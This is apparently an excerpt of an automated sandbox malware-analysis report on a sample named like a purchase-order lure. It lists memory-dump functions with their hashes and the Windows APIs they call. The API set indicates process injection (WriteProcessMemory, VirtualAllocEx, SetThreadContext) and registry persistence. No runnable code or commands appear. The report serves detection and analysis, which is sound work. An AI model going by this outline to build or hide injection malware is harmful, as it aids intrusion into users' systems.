Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3121fa1cadbe03fcd1bac14393323c5abd86b16d55f2f0ae9afd59c26c957ea2
Instruction ID: 1bce7a8bedd0e132d58f1e70387276d728c3f4a1f7c52f91c6841d8ec0dd625f
Opcode Fuzzy Hash: 3121fa1cadbe03fcd1bac14393323c5abd86b16d55f2f0ae9afd59c26c957ea2
Instruction Fuzzy Hash: 53813571E007198FDB50CFA9C8817AEBBF6BF48314F148529E959EB284DB749981CF81

Function 0192A7B0 Relevance: 1.7, APIs: 1, Instructions: 199COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0192AA06

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 59f0d0290f5d84a35bc0303710939e68736d9e98485a9bcece63119b0375e9f2
Instruction ID: 0a2783f3b38beaec8adb2ccb270a6c02d43032d5b1d13e2494a8aee3d392bb6d
Opcode Fuzzy Hash: 59f0d0290f5d84a35bc0303710939e68736d9e98485a9bcece63119b0375e9f2
Instruction Fuzzy Hash: 368175B1A00B158FD724DF2AD44475ABBF5FF88304F00892DD58AD7A44DB74E94ACB91

Function 06EE49F5 Relevance: 1.6, APIs: 1, Instructions: 149fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 06EE4B45

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 1882db755d5fa78f8bdc551a56ddf68bcf2b8a6d248e8e0a76473f3ed3ba3865
Instruction ID: 439325e3d9b82268f81c833880f2b33316d57385915e80a51071b065c25bf884
Opcode Fuzzy Hash: 1882db755d5fa78f8bdc551a56ddf68bcf2b8a6d248e8e0a76473f3ed3ba3865
Instruction Fuzzy Hash: 22518971D00769CFDB50DFA9C8857AEBBF1EF48324F148529E819E7284EB749881CB81

Function 06EE4A00 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 06EE4B45

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 956224c750bc9b2aaa24eb9b225d7f636765c8ae9a73a7a6dc0995c11762ea72
Instruction ID: a248bb14d2cd21919fbd773d21bd4bf2fc7d0a63b2f52cd5b11734921479c5ea
Opcode Fuzzy Hash: 956224c750bc9b2aaa24eb9b225d7f636765c8ae9a73a7a6dc0995c11762ea72
Instruction Fuzzy Hash: 1F514971D00759CFDB50DFA9C8857AEBBF2EF48324F148629D859E7284EB749881CB81

Function 06EE4E05 Relevance: 1.6, APIs: 1, Instructions: 117registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,00000000,?), ref: 06EE4F12

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 022722f06889ad34688729afcbf696c498173c0a4b2bc00426b2cb1020cdfe55
Instruction ID: e952150e50d314957c7ea066170f6b49e02aebb095c54b6627630efc787041dd
Opcode Fuzzy Hash: 022722f06889ad34688729afcbf696c498173c0a4b2bc00426b2cb1020cdfe55
Instruction Fuzzy Hash: FD4165B1D00718DFCB50CFA9C88569EBBF1FF48714F10942AE819AB280DB389845CB91

Function 06EE4E10 Relevance: 1.6, APIs: 1, Instructions: 110registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNEL32(?,?,?,?,00000000,?), ref: 06EE4F12

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: de1d418a35f03f47e8090bc6657ec9181d07a37cb31a9cefa85590ef59ba984a
Instruction ID: e1bb008ca9c34213a0dcbe044a8949069434d45b89c4b6962b350c041c90dd84
Opcode Fuzzy Hash: de1d418a35f03f47e8090bc6657ec9181d07a37cb31a9cefa85590ef59ba984a
Instruction Fuzzy Hash: E24174B1D00718CFCB60CFA9C88579EBBF1FF48714F10902AE819AB290DB789845CB91

Function 06EE4C3C Relevance: 1.6, APIs: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,?), ref: 06EE4D33

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8e8d224dfba7395aedb51c3d7a2cec2e9bc2db33c7006bab0bfd2b636acc3af7
Instruction ID: 1d01c8d109987e6bded50f2a0b54682a21222a21d93976f05fde3dcfade2f2cf
Opcode Fuzzy Hash: 8e8d224dfba7395aedb51c3d7a2cec2e9bc2db33c7006bab0bfd2b636acc3af7
Instruction Fuzzy Hash: B64162B1E00318DFDB10DFA9C885B9EBBF1BF48314F14852AE818AB280DB749845CF91

Function 06EE4C48 Relevance: 1.6, APIs: 1, Instructions: 102registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,?,?,?), ref: 06EE4D33

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: fd66fd4bd14c30498dccae1a4b6b8361fe4967f16539f443fac310b8ed29b648
Instruction ID: 9a6bbbdb51f4501bd30dc0ee320ba2ccb88b03ffec19cb6f59ecab06f69445a4
Opcode Fuzzy Hash: fd66fd4bd14c30498dccae1a4b6b8361fe4967f16539f443fac310b8ed29b648
Instruction Fuzzy Hash: A74144B0D00318DFDB10DFA9C885B9EBBF1BF48314F14852AE819AB280DB749845CF91

Function 06EE3368 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06EE3400

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3b8ebd1778877ca9436847a83b05985463b5868fc3bdaed52867cbdac2d9dffb
Instruction ID: 985ec5c55949c20b0d8e511137c4caa4d46dc46699f67946dbab41e454f341e7
Opcode Fuzzy Hash: 3b8ebd1778877ca9436847a83b05985463b5868fc3bdaed52867cbdac2d9dffb
Instruction Fuzzy Hash: D12148B19003099FCB10DFA9C885BDEBBF5FF48320F10842AE959A7241C7799945DFA4

Function 06EE3370 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06EE3400

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b852921d7fb2fee76eb7003e9efe9e2cdef0faede2f270beef9b3bbbdade3375
Instruction ID: 0b4d6716113ec086c49463e307e7e0449f3a16a8492592be8a4140b0931a3077
Opcode Fuzzy Hash: b852921d7fb2fee76eb7003e9efe9e2cdef0faede2f270beef9b3bbbdade3375
Instruction Fuzzy Hash: 7E2139B1D003499FCB10DFAAC885BDEBBF5FF48310F10842AE919A7241D7789955CBA4

Function 06EE2E4A Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06EE2ECE

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9b7b7fa92d709c5b3638d047c8615716981c7df0b714b725fad2f9e2e2dce49e
Instruction ID: 02c8332cdeac3a5be232f0932c69ee63561ba2d505bdb52a52d6b3a59c5acc5a
Opcode Fuzzy Hash: 9b7b7fa92d709c5b3638d047c8615716981c7df0b714b725fad2f9e2e2dce49e
Instruction Fuzzy Hash: FB2148B19003088FCB10DFAAC4857EEBFF4AB88324F14842AD519A7241CB789A44CBA5

Function 06EE3758 Relevance: 1.6, APIs: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06EE37D4

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 47f2ddcff61922de42c6b19f49f94e6ceb391524b61f48f690fa9e02510c9eb6
Instruction ID: 234fdd514e1bf86b7dd1326dc35d581d920078c30fa31b8e807d80476d175d62
Opcode Fuzzy Hash: 47f2ddcff61922de42c6b19f49f94e6ceb391524b61f48f690fa9e02510c9eb6
Instruction Fuzzy Hash: 1F2128B19043499FDB10DFAAC445AAFFBF4EF48320F10842DD459A7240DB7995458BA5

Function 0192D088 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0192D117

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 40d3fd8e17dae8b06733902b8dde6dd90045c48ba1d8c2805c4778c14f7251a7
Instruction ID: 568042ef4e624bcd40a02e98932da4ec81ec52bf9eb938739d1eeb127352c2f3
Opcode Fuzzy Hash: 40d3fd8e17dae8b06733902b8dde6dd90045c48ba1d8c2805c4778c14f7251a7
Instruction Fuzzy Hash: E321F2B59003189FDB10CFA9D984AEEBBF4FB48320F14801AE918A3251D378A954CFA0

Function 06EE2E50 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06EE2ECE

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 3e33bc2dca0214ba6cbc87e71d9470b4a6ac96ddf9d6f40b18701ff5c872e7bb
Instruction ID: a023278b9742a327f0bba27a30fc3138fb553807f6b2a9d363ef234013afcbf0
Opcode Fuzzy Hash: 3e33bc2dca0214ba6cbc87e71d9470b4a6ac96ddf9d6f40b18701ff5c872e7bb
Instruction Fuzzy Hash: 2A2137B19003098FDB10DFAAC4857AEBBF4EB88324F14842AD519A7240DB789A45CBA4

Function 0192D090 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0192D117

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fb54258a5ebe1eaf0b32af81295b7731464d1756eaca5d65078e118ff8df3ac0
Instruction ID: a10ca9101b8a8f45647517e113b52ad9f7b668dd2d8a7f284fdd1da0eca4fae2
Opcode Fuzzy Hash: fb54258a5ebe1eaf0b32af81295b7731464d1756eaca5d65078e118ff8df3ac0
Instruction Fuzzy Hash: 5821E3B59003589FDB10CF9AD984ADEFFF8FB48320F14801AE918A3251D378A954CFA0

Function 06EE3760 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06EE37D4

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 991e282e7c5b127d718c6ab42ca22838d4c46fe8128058552863209a1d66e2cb
Instruction ID: 40a5276e23af80b4de6bc308673104cfefaa4037d29d3a7fe001dc485027681c
Opcode Fuzzy Hash: 991e282e7c5b127d718c6ab42ca22838d4c46fe8128058552863209a1d66e2cb
Instruction Fuzzy Hash: 862104B19003098FDB10DFAAC845AAFFBF5EF88320F50842AD459A7240DB7899458BA1

Function 06EE3269 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06EE32DE

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 27f9a80e106d26629e3a36acbceccc44d0d92ea582e85ca5a9b2fc8d1cbd446c
Instruction ID: 6f561f209c01f4407655a15d27fe1cc63575a5cf1e72fa327b75f0b35c273e00
Opcode Fuzzy Hash: 27f9a80e106d26629e3a36acbceccc44d0d92ea582e85ca5a9b2fc8d1cbd446c
Instruction Fuzzy Hash: C41133718003499FCB10DFAAC845ADFBBF5EB88320F20841AE559A7250CB75A954CFA4

Function 019292A8 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 0192931D

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a69b7005a349011ae8f7868afe0ac49a3c84d65039e04d6efbb1406612512cfa
Instruction ID: fb2982dd14def97307ca3256bf7795a11cef08266c6f99e611f42dc5bf390eae
Opcode Fuzzy Hash: a69b7005a349011ae8f7868afe0ac49a3c84d65039e04d6efbb1406612512cfa
Instruction Fuzzy Hash: 3A219DB1808399CEDB11DF69D5047DEBFF4EB05324F15809ED988B7282C3795A44CBA2

Function 06F5D620 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 06F5D694

Memory Dump Source

Source File: 00000000.00000002.1736118241.0000000006F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f50000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 50984c23a98c8040109d44aa85577ec74a0bd57f4301720b11b35e6f73d8d585
Instruction ID: 702476fd72a2737347714d093919e79d24975e0981510af10c06c4c3f509eec7
Opcode Fuzzy Hash: 50984c23a98c8040109d44aa85577ec74a0bd57f4301720b11b35e6f73d8d585
Instruction Fuzzy Hash: 6E11F4B1D003499FCB10DFAAC844A9FFBF5EF88320F10842AD519A7240DB75A945CFA5

Function 06EE3270 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06EE32DE

Memory Dump Source

Source File: 00000000.00000002.1735915925.0000000006EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ee0000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9be7cd545bb1b3378877d081fb925296acdddb3da0e027795a31f65949682973
Instruction ID: 34338883569496c2078f16dccb16da43d0ad66fa24938993de6234e1f2372ef0
Opcode Fuzzy Hash: 9be7cd545bb1b3378877d081fb925296acdddb3da0e027795a31f65949682973
Instruction Fuzzy Hash: 411126719003499FCB10DFAAC845ADFFFF5EB88324F10841AE559A7250CB75A954CFA4

Function 019292B8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(0000004B), ref: 0192931D

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a99b42d376a9facc5c01a01a5dcec246acbeba5af3821fe4cf6017d86fb819cf
Instruction ID: fd7f2a552c8dea869dfb650b1a4761b210d4262ee87d4f4285a59ef7555ad3d5
Opcode Fuzzy Hash: a99b42d376a9facc5c01a01a5dcec246acbeba5af3821fe4cf6017d86fb819cf
Instruction Fuzzy Hash: 9A11C1B1804398CEDB20DF59D4047EEBFF4EB09314F148099D989B3286C3395644CBA1

Function 0192A9A0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0192AA06

Memory Dump Source

Source File: 00000000.00000002.1715886937.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1920000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b1b897ddd18ff1ed36d7ad435270982aceb3a48c9cc733bae3b8a903113ed338
Instruction ID: 13831bdd01bb9fad039c0ad51ebe9219b3503578205f0cbaab4fe4c958b7c154
Opcode Fuzzy Hash: b1b897ddd18ff1ed36d7ad435270982aceb3a48c9cc733bae3b8a903113ed338
Instruction Fuzzy Hash: 81110FB6C003498FDB10DF9AD544A9EFBF9AF88220F10841AD429B7604D379A545CFA5

Function 06D71940 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

(bq, xrefs: 06D71BF4

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: f231164973cf8b37a1c8408600366a3c6bfab0ef3d2166850baf748c735c9877
Instruction ID: fe7c61d82b0214a6b417ad04ba56e7aaef2deaf44d0cc40d2a402fe4d6f2dd37
Opcode Fuzzy Hash: f231164973cf8b37a1c8408600366a3c6bfab0ef3d2166850baf748c735c9877
Instruction Fuzzy Hash: DDA1B2317002409FC7569F68D854E6A7BB7FFC9304B1981A9E6068F7A1DB36EC06CB91

Function 06D9F0C8 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

,bq, xrefs: 06D9F453

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: e1bebb4cd352f38518cc7d1b740698884d11c3e28e5d6159e84084f597f11a90
Instruction ID: 18e78ac843d0940fcf7772108a3d2650d5143f33e76dce1fcd39341a56c0552c
Opcode Fuzzy Hash: e1bebb4cd352f38518cc7d1b740698884d11c3e28e5d6159e84084f597f11a90
Instruction Fuzzy Hash: 67C14075A102289FDB54DB68C954BDDBBF6BF88701F158099E509EB360CB309D81CFA1

Function 06D7ADBA Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D7AC20

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: bf4b546750123402e0167693b752d846b1857759f37c1b8c4feda7794691415b
Instruction ID: e65c59fcf1d12aee40b655de4b4d2c0f0c535cf5ff07f44e7def79552f9692a9
Opcode Fuzzy Hash: bf4b546750123402e0167693b752d846b1857759f37c1b8c4feda7794691415b
Instruction Fuzzy Hash: 92B10774E01218CFEBA0CFA8D948BADBBF2FF45305F1880A9D549AB251E7745985CF02

Function 06D9E1E9 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06D9E412

Memory Dump Source

Source File: 00000000.00000002.1735567654.0000000006D90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d90000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: b0a3f9ff15d76ee5c43f1b65b7d9917ed659466f1656a0ed83bb583e05e3cc84
Instruction ID: 763a1ffaecc52ed05e9a769a3866e4fe9e2435a3286aef79a67347c1fee4418c
Opcode Fuzzy Hash: b0a3f9ff15d76ee5c43f1b65b7d9917ed659466f1656a0ed83bb583e05e3cc84
Instruction Fuzzy Hash: 9BA1FB34A10218DFCB54EFA4D89899DBBB2FF89300F158159E505AB361DB30EC42CFA1

Function 06D738C8 Relevance: 1.4, Strings: 1, Instructions: 188COMMON

Download Yara Rule

Strings

(bq, xrefs: 06D73AE9

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: d0c399b61a1b2c188d0c60e4ea03e427625073940fa331e87e74160c8ee84fbf
Instruction ID: 172fa87ac29f36d1a362d1471c1e6daf1463e2f818c1dcf0edf75821551c8fed
Opcode Fuzzy Hash: d0c399b61a1b2c188d0c60e4ea03e427625073940fa331e87e74160c8ee84fbf
Instruction Fuzzy Hash: 04715A34B00A14DFCB44EF64C494AADB7B6EF89300F518569D5069B3A4EF74ED42CBA2

Function 06D7ACDF Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06D7AC20

Memory Dump Source

Source File: 00000000.00000002.1735482960.0000000006D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d70000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: e240926795fc3845c0551748d7d2cf7ca7c90fbc73984330f34f3dcf24107e5e
Instruction ID: b12a7aefa0f957d23986ec67a4a1b80150d2e9ee6a9f909d122b95e0d37cc001
Opcode Fuzzy Hash: e240926795fc3845c0551748d7d2cf7ca7c90fbc73984330f34f3dcf24107e5e
Instruction Fuzzy Hash: CC811974D02218DFEBA0CFA8D548BADBBF2FB05305F1880A9D549AB251E7745D84CF42

Function 06F1AA70 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

(bq, xrefs: 06F1AAE4

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: a61ced4b74fe65c879e783bf6d282736068259175743f5a06d4f8bee3d78e8f8
Instruction ID: 0a003110847bb8e6b58337eb06049ceb8816a60bc49798cd9939292bc56b5b33
Opcode Fuzzy Hash: a61ced4b74fe65c879e783bf6d282736068259175743f5a06d4f8bee3d78e8f8
Instruction Fuzzy Hash: 1A51F331A0161A8FCB10CF68D8849AAFBB6FF8A360B158695E5259B381D730FC51CBD0

Function 06F19AB0 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

pbq, xrefs: 06F19B60

Memory Dump Source

Source File: 00000000.00000002.1736016782.0000000006F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f10000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 971243e7e0f32a46373866592e8f5a8261d0b57f5346d0e2224f25f2891b5a0f
Instruction ID: b2c6bc9425f7ad2301794e90c449ac3a9d25879c832c2ea8bc9f34614f2a7663
Opcode Fuzzy Hash: 971243e7e0f32a46373866592e8f5a8261d0b57f5346d0e2224f25f2891b5a0f
Instruction Fuzzy Hash: 09513D76600104EFDB499FA8D814D69BBF7FF8C31471A8098E6099F272D632DC21EB91

Function 06F40040 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

<, xrefs: 06F401F3

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: dcf928adb15deba6406f036cb722f1bcdfefe53e994aab4c94723a39f7cf7cb0
Instruction ID: ddd2a163c7ccb2c35940d915461302bbd251a05a5abb11f950546b9ee0dfcf1e
Opcode Fuzzy Hash: dcf928adb15deba6406f036cb722f1bcdfefe53e994aab4c94723a39f7cf7cb0
Instruction Fuzzy Hash: AB610575D05258CFEBA4DF59D848BD9BBB6AB89304F0090EAC50EB7250CB744AC9CF51

Function 06F40EF5 Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

<, xrefs: 06F401F3

Memory Dump Source

Source File: 00000000.00000002.1736084354.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f40000_GEFA-Order 232343-68983689.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 3cf7cf778e3220faf4aa1576b49f3f7e7508cb49bca0a7c23ef1a485cde1759e
Instruction ID: 1ae5077588ec1ae029043e5c69b96add890876168a992045ccaf3b223f1e94bd
Opcode Fuzzy Hash: 3cf7cf778e3220faf4aa1576b49f3f7e7508cb49bca0a7c23ef1a485cde1759e
Instruction Fuzzy Hash: 8D61D574D01268CFEBA0DF69C888BD9BBB1AB49305F1094EAC60DB7650DB744AC5CF61

Function 06D70A78 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

